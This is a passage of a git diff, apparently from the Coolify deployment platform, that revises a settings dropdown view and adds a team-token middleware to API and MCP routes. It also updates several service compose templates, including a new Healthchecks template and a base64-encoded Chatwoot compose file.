@if ($resource->type() === 'application') diff --git a/resources/views/livewire/settings-dropdown.blade.php b/resources/views/livewire/settings-dropdown.blade.php index efd359098..d40d6778e 100644 --- a/resources/views/livewire/settings-dropdown.blade.php +++ b/resources/views/livewire/settings-dropdown.blade.php @@ -103,142 +103,102 @@ return new Date(b.published_at) - new Date(a.published_at); }); } -}" @click.outside="dropdownOpen = false"> - -
- + @else + +
+ + + +
+
+
+ +
+ Width
+ - @else - + + +
+ Zoom
+ - @endif - - -
- - -
- Appearance
- - - - - -
- Width
- - - - -
- Zoom
- - + +
-
+ @endif @if ($showWhatsNewModal) -
@@ -262,8 +222,7 @@ class="relative w-full h-full max-w-7xl py-6 border rounded-sm drop-shadow-sm bg
@if (isDev()) - + diff --git a/routes/ai.php b/routes/ai.php index 7d3a858c5..3a39677ff 100644 --- a/routes/ai.php +++ b/routes/ai.php @@ -4,4 +4,4 @@ use Laravel\Mcp\Facades\Mcp; Mcp::web('/mcp', CoolifyServer::class) - ->middleware(['mcp.enabled', 'auth:sanctum']); + ->middleware(['mcp.enabled', 'auth:sanctum', 'api.token.team']); diff --git a/routes/api.php b/routes/api.php index fb3b4bad6..ec6bde2e6 100644 --- a/routes/api.php +++ b/routes/api.php @@ -29,7 +29,7 @@ ->middleware('throttle:feedback'); Route::group([ - 'middleware' => ['auth:sanctum', 'api.ability:write'], + 'middleware' => ['auth:sanctum', 'api.token.team', 'api.ability:write'], 'prefix' => 'v1', ], function () { Route::get('/enable', [OtherController::class, 'enable_api']); @@ -38,7 +38,7 @@ Route::post('/mcp/disable', [OtherController::class, 'disable_mcp']); }); Route::group([ - 'middleware' => ['auth:sanctum', ApiAllowed::class, 'api.sensitive'], + 'middleware' => ['auth:sanctum', 'api.token.team', ApiAllowed::class, 'api.sensitive'], 'prefix' => 'v1', ], function () { diff --git a/routes/web.php b/routes/web.php index 55067f46f..19fb3b0db 100644 --- a/routes/web.php +++ b/routes/web.php @@ -15,6 +15,7 @@ use App\Livewire\Notifications\Slack as NotificationSlack; use App\Livewire\Notifications\Telegram as NotificationTelegram; use App\Livewire\Notifications\Webhook as NotificationWebhook; +use App\Livewire\Profile\Appearance as ProfileAppearance; use App\Livewire\Profile\Index as ProfileIndex; use App\Livewire\Project\Application\Configuration as ApplicationConfiguration; use App\Livewire\Project\Application\Deployment\Index as DeploymentIndex; @@ -124,6 +125,7 @@ Route::get('/settings/scheduled-jobs', SettingsScheduledJobs::class)->name('settings.scheduled-jobs'); Route::get('/profile', ProfileIndex::class)->name('profile'); + Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance'); Route::prefix('tags')->group(function () { Route::get('/{tagName?}', TagsShow::class)->name('tags.show'); @@ -241,6 +243,7 @@ Route::get('/servers', DatabaseConfiguration::class)->name('project.database.servers'); Route::get('/import-backup', DatabaseConfiguration::class)->name('project.database.import-backup')->middleware('can.update.resource'); Route::get('/persistent-storage', DatabaseConfiguration::class)->name('project.database.persistent-storage'); + Route::get('/healthcheck', DatabaseConfiguration::class)->name('project.database.healthcheck'); Route::get('/webhooks', DatabaseConfiguration::class)->name('project.database.webhooks'); Route::get('/resource-limits', DatabaseConfiguration::class)->name('project.database.resource-limits'); Route::get('/resource-operations', DatabaseConfiguration::class)->name('project.database.resource-operations'); diff --git a/templates/compose/chatwoot.yaml b/templates/compose/chatwoot.yaml index 407e82bb3..87aaa2c05 100644 --- a/templates/compose/chatwoot.yaml +++ b/templates/compose/chatwoot.yaml @@ -38,6 +38,7 @@ services: - SMTP_USERNAME=${CHATWOOT_SMTP_USERNAME} - SMTP_PASSWORD=${CHATWOOT_SMTP_PASSWORD} - ACTIVE_STORAGE_SERVICE=${ACTIVE_STORAGE_SERVICE:-local} + - SAFE_FETCH_ALLOW_PRIVATE_NETWORK=${SAFE_FETCH_ALLOW_PRIVATE_NETWORK:-false} entrypoint: docker/entrypoints/rails.sh command: sh -c "bundle exec rails db:chatwoot_prepare && bundle exec rails s -p 3000 -b 0.0.0.0" volumes: diff --git a/templates/compose/garage.yaml b/templates/compose/garage.yaml index 0c559cebd..e3292dffc 100644 --- a/templates/compose/garage.yaml +++ b/templates/compose/garage.yaml @@ -12,7 +12,7 @@ services: - GARAGE_S3_API_URL=$GARAGE_S3_API_URL - GARAGE_WEB_URL=$GARAGE_WEB_URL - GARAGE_ADMIN_URL=$GARAGE_ADMIN_URL - - GARAGE_RPC_SECRET=${SERVICE_HEX_32_RPCSECRET} + - GARAGE_RPC_SECRET=${SERVICE_HEX_64_RPCSECRET} - GARAGE_ADMIN_TOKEN=$SERVICE_PASSWORD_GARAGE - GARAGE_METRICS_TOKEN=$SERVICE_PASSWORD_GARAGEMETRICS - GARAGE_ALLOW_WORLD_READABLE_SECRETS=true diff --git a/templates/compose/gitea-runner.yaml b/templates/compose/gitea-runner.yaml index 4cf5ac503..bc6b4bd77 100644 --- a/templates/compose/gitea-runner.yaml +++ b/templates/compose/gitea-runner.yaml @@ -6,7 +6,7 @@ services: runner: - image: 'docker.io/gitea/runner:1.0.6' + image: 'docker.io/gitea/runner:1.0.7' environment: - 'GITEA_INSTANCE_URL=${GITEA_INSTANCE_URL}' - 'GITEA_RUNNER_REGISTRATION_TOKEN=${GITEA_RUNNER_REGISTRATION_TOKEN}' diff --git a/templates/compose/healthchecks.yaml b/templates/compose/healthchecks.yaml new file mode 100644 index 000000000..246fabb7b --- /dev/null +++ b/templates/compose/healthchecks.yaml @@ -0,0 +1,30 @@ +# documentation: https://healthchecks.io/docs +# slogan: Healthchecks is a cron job monitoring service. It listens for HTTP requests and email messages from your cron jobs and scheduled tasks. +# category: monitoring +# tags: monitoring, status, performance, web, services, applications, real-time +# logo: svgs/healthchecks.webp +# port: 80000 + +services: + healthchecks: + image: "healthchecks/healthchecks:v4.2" + container_name: healthchecks + environment: + - SERVICE_URL_HEALTHCHECKS_8000 + - DB=sqlite + - DB_NAME=/data/hc.sqlite + - "ALLOWED_HOSTS=${ALLOWED_HOSTS:-*}" + - "REGISTRATION_OPEN=${REGISTRATION_OPEN:-True}" + - "DEBUG=${DEBUG:-False}" + - "SECRET_KEY=${SECRET_KEY:?${SERVICE_PASSWORD_64_HEALTHCHECKS}}" + - "SITE_ROOT=${SERVICE_URL_HEALTHCHECKS}" + - "DEFAULT_FROM_EMAIL=${DEFAULT_FROM_EMAIL:-fixme-email-address-here}" + - "EMAIL_HOST=${EMAIL_HOST:-my-smtp-server-here.com}" + - "EMAIL_PORT=${EMAIL_PORT:-465}" + - "EMAIL_HOST_USER=${EMAIL_HOST_USER:-my_username}" + - "EMAIL_HOST_PASSWORD=${EMAIL_HOST_PASSWORD:-mypassword}" + - "EMAIL_USE_SSL=${EMAIL_USE_SSL:-True}" + - "EMAIL_USE_TLS=${EMAIL_USE_TLS:-False}" + volumes: + - "healthchecks-data:/data" + diff --git a/templates/compose/hermes-agent-with-webui.yaml b/templates/compose/hermes-agent-with-webui.yaml index 2d30396d8..a55b8c79a 100644 --- a/templates/compose/hermes-agent-with-webui.yaml +++ b/templates/compose/hermes-agent-with-webui.yaml @@ -7,7 +7,7 @@ services: hermes-agent: - image: nousresearch/hermes-agent:sha-273ff5c4a47af4499bbe5e3b1139efd313995554 + image: 'nousresearch/hermes-agent@sha256:2f1f2f1725e5dc9a61cf6a2dea5aca52a776ec4d022cb29679e6aa3ff303e77a' # v2026.5.29 command: gateway run environment: - HERMES_HOME=/home/hermes/.hermes diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index b97e5ef9a..92685d8bf 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -527,7 +527,7 @@ "chatwoot": { "documentation": "https://www.chatwoot.com/docs/self-hosted/?utm_source=coolify.io", "slogan": "Delightful customer relationships at scale.", - "compose": "c2VydmljZXM6CiAgY2hhdHdvb3Q6CiAgICBpbWFnZTogJ2NoYXR3b290L2NoYXR3b290OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSByZWRpcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ0hBVFdPT1RfMzAwMAogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9QQVNTV09SRF9DSEFUV09PVAogICAgICAtICdGUk9OVEVORF9VUkw9JHtTRVJWSUNFX1VSTF9DSEFUV09PVH0nCiAgICAgIC0gJ0RFRkFVTFRfTE9DQUxFPSR7Q0hBVFdPT1RfREVGQVVMVF9MT0NBTEV9JwogICAgICAtICdGT1JDRV9TU0w9JHtGT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnRU5BQkxFX0FDQ09VTlRfU0lHTlVQPSR7RU5BQkxFX0FDQ09VTlRfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHRAcmVkaXM6NjM3OScKICAgICAgLSBSRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAtICdSRURJU19PUEVOU1NMX1ZFUklGWV9NT0RFPSR7UkVESVNfT1BFTlNTTF9WRVJJRllfTU9ERTotbm9uZX0nCiAgICAgIC0gJ1BPU1RHUkVTX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LWNoYXR3b290fScKICAgICAgLSAnUE9TVEdSRVNfSE9TVD0ke1BPU1RHUkVTX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSBQT1NUR1JFU19VU0VSTkFNRT0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUkFJTFNfTUFYX1RIUkVBRFM9JHtSQUlMU19NQVhfVEhSRUFEUzotNX0nCiAgICAgIC0gJ05PREVfRU5WPSR7Tk9ERV9FTlY6LXByb2R1Y3Rpb259JwogICAgICAtICdSQUlMU19FTlY9JHtSQUlMU19FTlY6LXByb2R1Y3Rpb259JwogICAgICAtICdJTlNUQUxMQVRJT05fRU5WPSR7SU5TVEFMTEFUSU9OX0VOVjotZG9ja2VyfScKICAgICAgLSAnTUFJTEVSX1NFTkRFUl9FTUFJTD0ke0NIQVRXT09UX01BSUxFUl9TRU5ERVJfRU1BSUx9JwogICAgICAtICdTTVRQX0FERFJFU1M9JHtDSEFUV09PVF9TTVRQX0FERFJFU1N9JwogICAgICAtICdTTVRQX0FVVEhFTlRJQ0FUSU9OPSR7Q0hBVFdPT1RfU01UUF9BVVRIRU5USUNBVElPTn0nCiAgICAgIC0gJ1NNVFBfRE9NQUlOPSR7Q0hBVFdPT1RfU01UUF9ET01BSU59JwogICAgICAtICdTTVRQX0VOQUJMRV9TVEFSVFRMU19BVVRPPSR7Q0hBVFdPT1RfU01UUF9FTkFCTEVfU1RBUlRUTFNfQVVUT30nCiAgICAgIC0gJ1NNVFBfUE9SVD0ke0NIQVRXT09UX1NNVFBfUE9SVH0nCiAgICAgIC0gJ1NNVFBfVVNFUk5BTUU9JHtDSEFUV09PVF9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnU01UUF9QQVNTV09SRD0ke0NIQVRXT09UX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdBQ1RJVkVfU1RPUkFHRV9TRVJWSUNFPSR7QUNUSVZFX1NUT1JBR0VfU0VSVklDRTotbG9jYWx9JwogICAgZW50cnlwb2ludDogZG9ja2VyL2VudHJ5cG9pbnRzL3JhaWxzLnNoCiAgICBjb21tYW5kOiAnc2ggLWMgImJ1bmRsZSBleGVjIHJhaWxzIGRiOmNoYXR3b290X3ByZXBhcmUgJiYgYnVuZGxlIGV4ZWMgcmFpbHMgcyAtcCAzMDAwIC1iIDAuMC4wLjAiJwogICAgdm9sdW1lczoKICAgICAgLSAncmFpbHMtZGF0YTovYXBwL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJy1xJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHNpZGVraXE6CiAgICBpbWFnZTogJ2NoYXR3b290L2NoYXR3b290OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSByZWRpcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX1BBU1NXT1JEX0NIQVRXT09UCiAgICAgIC0gJ0ZST05URU5EX1VSTD0ke1NFUlZJQ0VfVVJMX0NIQVRXT09UfScKICAgICAgLSAnREVGQVVMVF9MT0NBTEU9JHtDSEFUV09PVF9ERUZBVUxUX0xPQ0FMRX0nCiAgICAgIC0gJ0ZPUkNFX1NTTD0ke0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdFTkFCTEVfQUNDT1VOVF9TSUdOVVA9JHtFTkFCTEVfQUNDT1VOVF9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vZGVmYXVsdEByZWRpczo2Mzc5JwogICAgICAtIFJFRElTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgIC0gJ1JFRElTX09QRU5TU0xfVkVSSUZZX01PREU9JHtSRURJU19PUEVOU1NMX1ZFUklGWV9NT0RFOi1ub25lfScKICAgICAgLSAnUE9TVEdSRVNfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotY2hhdHdvb3R9JwogICAgICAtICdQT1NUR1JFU19IT1NUPSR7UE9TVEdSRVNfSE9TVDotcG9zdGdyZXN9JwogICAgICAtIFBPU1RHUkVTX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdSQUlMU19NQVhfVEhSRUFEUz0ke1JBSUxTX01BWF9USFJFQURTOi01fScKICAgICAgLSAnTk9ERV9FTlY9JHtOT0RFX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ1JBSUxTX0VOVj0ke1JBSUxTX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ0lOU1RBTExBVElPTl9FTlY9JHtJTlNUQUxMQVRJT05fRU5WOi1kb2NrZXJ9JwogICAgICAtICdNQUlMRVJfU0VOREVSX0VNQUlMPSR7Q0hBVFdPT1RfTUFJTEVSX1NFTkRFUl9FTUFJTH0nCiAgICAgIC0gJ1NNVFBfQUREUkVTUz0ke0NIQVRXT09UX1NNVFBfQUREUkVTU30nCiAgICAgIC0gJ1NNVFBfQVVUSEVOVElDQVRJT049JHtDSEFUV09PVF9TTVRQX0FVVEhFTlRJQ0FUSU9OfScKICAgICAgLSAnU01UUF9ET01BSU49JHtDSEFUV09PVF9TTVRQX0RPTUFJTn0nCiAgICAgIC0gJ1NNVFBfRU5BQkxFX1NUQVJUVExTX0FVVE89JHtDSEFUV09PVF9TTVRQX0VOQUJMRV9TVEFSVFRMU19BVVRPfScKICAgICAgLSAnU01UUF9QT1JUPSR7Q0hBVFdPT1RfU01UUF9QT1JUfScKICAgICAgLSAnU01UUF9VU0VSTkFNRT0ke0NIQVRXT09UX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdTTVRQX1BBU1NXT1JEPSR7Q0hBVFdPT1RfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0FDVElWRV9TVE9SQUdFX1NFUlZJQ0U9JHtBQ1RJVkVfU1RPUkFHRV9TRVJWSUNFOi1sb2NhbH0nCiAgICBjb21tYW5kOgogICAgICAtIGJ1bmRsZQogICAgICAtIGV4ZWMKICAgICAgLSBzaWRla2lxCiAgICAgIC0gJy1DJwogICAgICAtIGNvbmZpZy9zaWRla2lxLnltbAogICAgdm9sdW1lczoKICAgICAgLSAncmFpbHMtZGF0YTovYXBwL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gImJ1bmRsZSBleGVjIHJhaWxzIHJ1bm5lciAncHV0cyBTaWRla2lxLnJlZGlzKCY6aW5mbyknID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncGd2ZWN0b3IvcGd2ZWN0b3I6cGcxMicKICAgIHJlc3RhcnQ6IGFsd2F5cwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotY2hhdHdvb3R9JwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUyAtZCBjaGF0d29vdCAtaCAxMjcuMC4wLjEnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6YWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBjb21tYW5kOgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAiJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMiJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUK", + "compose": "c2VydmljZXM6CiAgY2hhdHdvb3Q6CiAgICBpbWFnZTogJ2NoYXR3b290L2NoYXR3b290OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSByZWRpcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ0hBVFdPT1RfMzAwMAogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9QQVNTV09SRF9DSEFUV09PVAogICAgICAtICdGUk9OVEVORF9VUkw9JHtTRVJWSUNFX1VSTF9DSEFUV09PVH0nCiAgICAgIC0gJ0RFRkFVTFRfTE9DQUxFPSR7Q0hBVFdPT1RfREVGQVVMVF9MT0NBTEV9JwogICAgICAtICdGT1JDRV9TU0w9JHtGT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnRU5BQkxFX0FDQ09VTlRfU0lHTlVQPSR7RU5BQkxFX0FDQ09VTlRfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHRAcmVkaXM6NjM3OScKICAgICAgLSBSRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAtICdSRURJU19PUEVOU1NMX1ZFUklGWV9NT0RFPSR7UkVESVNfT1BFTlNTTF9WRVJJRllfTU9ERTotbm9uZX0nCiAgICAgIC0gJ1BPU1RHUkVTX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LWNoYXR3b290fScKICAgICAgLSAnUE9TVEdSRVNfSE9TVD0ke1BPU1RHUkVTX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSBQT1NUR1JFU19VU0VSTkFNRT0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUkFJTFNfTUFYX1RIUkVBRFM9JHtSQUlMU19NQVhfVEhSRUFEUzotNX0nCiAgICAgIC0gJ05PREVfRU5WPSR7Tk9ERV9FTlY6LXByb2R1Y3Rpb259JwogICAgICAtICdSQUlMU19FTlY9JHtSQUlMU19FTlY6LXByb2R1Y3Rpb259JwogICAgICAtICdJTlNUQUxMQVRJT05fRU5WPSR7SU5TVEFMTEFUSU9OX0VOVjotZG9ja2VyfScKICAgICAgLSAnTUFJTEVSX1NFTkRFUl9FTUFJTD0ke0NIQVRXT09UX01BSUxFUl9TRU5ERVJfRU1BSUx9JwogICAgICAtICdTTVRQX0FERFJFU1M9JHtDSEFUV09PVF9TTVRQX0FERFJFU1N9JwogICAgICAtICdTTVRQX0FVVEhFTlRJQ0FUSU9OPSR7Q0hBVFdPT1RfU01UUF9BVVRIRU5USUNBVElPTn0nCiAgICAgIC0gJ1NNVFBfRE9NQUlOPSR7Q0hBVFdPT1RfU01UUF9ET01BSU59JwogICAgICAtICdTTVRQX0VOQUJMRV9TVEFSVFRMU19BVVRPPSR7Q0hBVFdPT1RfU01UUF9FTkFCTEVfU1RBUlRUTFNfQVVUT30nCiAgICAgIC0gJ1NNVFBfUE9SVD0ke0NIQVRXT09UX1NNVFBfUE9SVH0nCiAgICAgIC0gJ1NNVFBfVVNFUk5BTUU9JHtDSEFUV09PVF9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnU01UUF9QQVNTV09SRD0ke0NIQVRXT09UX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdBQ1RJVkVfU1RPUkFHRV9TRVJWSUNFPSR7QUNUSVZFX1NUT1JBR0VfU0VSVklDRTotbG9jYWx9JwogICAgICAtICdTQUZFX0ZFVENIX0FMTE9XX1BSSVZBVEVfTkVUV09SSz0ke1NBRkVfRkVUQ0hfQUxMT1dfUFJJVkFURV9ORVRXT1JLOi1mYWxzZX0nCiAgICBlbnRyeXBvaW50OiBkb2NrZXIvZW50cnlwb2ludHMvcmFpbHMuc2gKICAgIGNvbW1hbmQ6ICdzaCAtYyAiYnVuZGxlIGV4ZWMgcmFpbHMgZGI6Y2hhdHdvb3RfcHJlcGFyZSAmJiBidW5kbGUgZXhlYyByYWlscyBzIC1wIDMwMDAgLWIgMC4wLjAuMCInCiAgICB2b2x1bWVzOgogICAgICAtICdyYWlscy1kYXRhOi9hcHAvc3RvcmFnZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgc2lkZWtpcToKICAgIGltYWdlOiAnY2hhdHdvb3QvY2hhdHdvb3Q6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3JlcwogICAgICAtIHJlZGlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRUNSRVRfS0VZX0JBU0U9JFNFUlZJQ0VfUEFTU1dPUkRfQ0hBVFdPT1QKICAgICAgLSAnRlJPTlRFTkRfVVJMPSR7U0VSVklDRV9VUkxfQ0hBVFdPT1R9JwogICAgICAtICdERUZBVUxUX0xPQ0FMRT0ke0NIQVRXT09UX0RFRkFVTFRfTE9DQUxFfScKICAgICAgLSAnRk9SQ0VfU1NMPSR7Rk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9BQ0NPVU5UX1NJR05VUD0ke0VOQUJMRV9BQ0NPVU5UX1NJR05VUDotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0QHJlZGlzOjYzNzknCiAgICAgIC0gUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgICAgLSAnUkVESVNfT1BFTlNTTF9WRVJJRllfTU9ERT0ke1JFRElTX09QRU5TU0xfVkVSSUZZX01PREU6LW5vbmV9JwogICAgICAtICdQT1NUR1JFU19EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1jaGF0d29vdH0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1Q9JHtQT1NUR1JFU19IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gUE9TVEdSRVNfVVNFUk5BTUU9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1JBSUxTX01BWF9USFJFQURTPSR7UkFJTFNfTUFYX1RIUkVBRFM6LTV9JwogICAgICAtICdOT0RFX0VOVj0ke05PREVfRU5WOi1wcm9kdWN0aW9ufScKICAgICAgLSAnUkFJTFNfRU5WPSR7UkFJTFNfRU5WOi1wcm9kdWN0aW9ufScKICAgICAgLSAnSU5TVEFMTEFUSU9OX0VOVj0ke0lOU1RBTExBVElPTl9FTlY6LWRvY2tlcn0nCiAgICAgIC0gJ01BSUxFUl9TRU5ERVJfRU1BSUw9JHtDSEFUV09PVF9NQUlMRVJfU0VOREVSX0VNQUlMfScKICAgICAgLSAnU01UUF9BRERSRVNTPSR7Q0hBVFdPT1RfU01UUF9BRERSRVNTfScKICAgICAgLSAnU01UUF9BVVRIRU5USUNBVElPTj0ke0NIQVRXT09UX1NNVFBfQVVUSEVOVElDQVRJT059JwogICAgICAtICdTTVRQX0RPTUFJTj0ke0NIQVRXT09UX1NNVFBfRE9NQUlOfScKICAgICAgLSAnU01UUF9FTkFCTEVfU1RBUlRUTFNfQVVUTz0ke0NIQVRXT09UX1NNVFBfRU5BQkxFX1NUQVJUVExTX0FVVE99JwogICAgICAtICdTTVRQX1BPUlQ9JHtDSEFUV09PVF9TTVRQX1BPUlR9JwogICAgICAtICdTTVRQX1VTRVJOQU1FPSR7Q0hBVFdPT1RfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ1NNVFBfUEFTU1dPUkQ9JHtDSEFUV09PVF9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnQUNUSVZFX1NUT1JBR0VfU0VSVklDRT0ke0FDVElWRV9TVE9SQUdFX1NFUlZJQ0U6LWxvY2FsfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYnVuZGxlCiAgICAgIC0gZXhlYwogICAgICAtIHNpZGVraXEKICAgICAgLSAnLUMnCiAgICAgIC0gY29uZmlnL3NpZGVraXEueW1sCiAgICB2b2x1bWVzOgogICAgICAtICdyYWlscy1kYXRhOi9hcHAvc3RvcmFnZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiYnVuZGxlIGV4ZWMgcmFpbHMgcnVubmVyICdwdXRzIFNpZGVraXEucmVkaXMoJjppbmZvKScgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwZ3ZlY3Rvci9wZ3ZlY3RvcjpwZzEyJwogICAgcmVzdGFydDogYWx3YXlzCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jaGF0d29vdH0nCiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkU0VSVklDRV9VU0VSX1BPU1RHUkVTIC1kIGNoYXR3b290IC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczphbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgI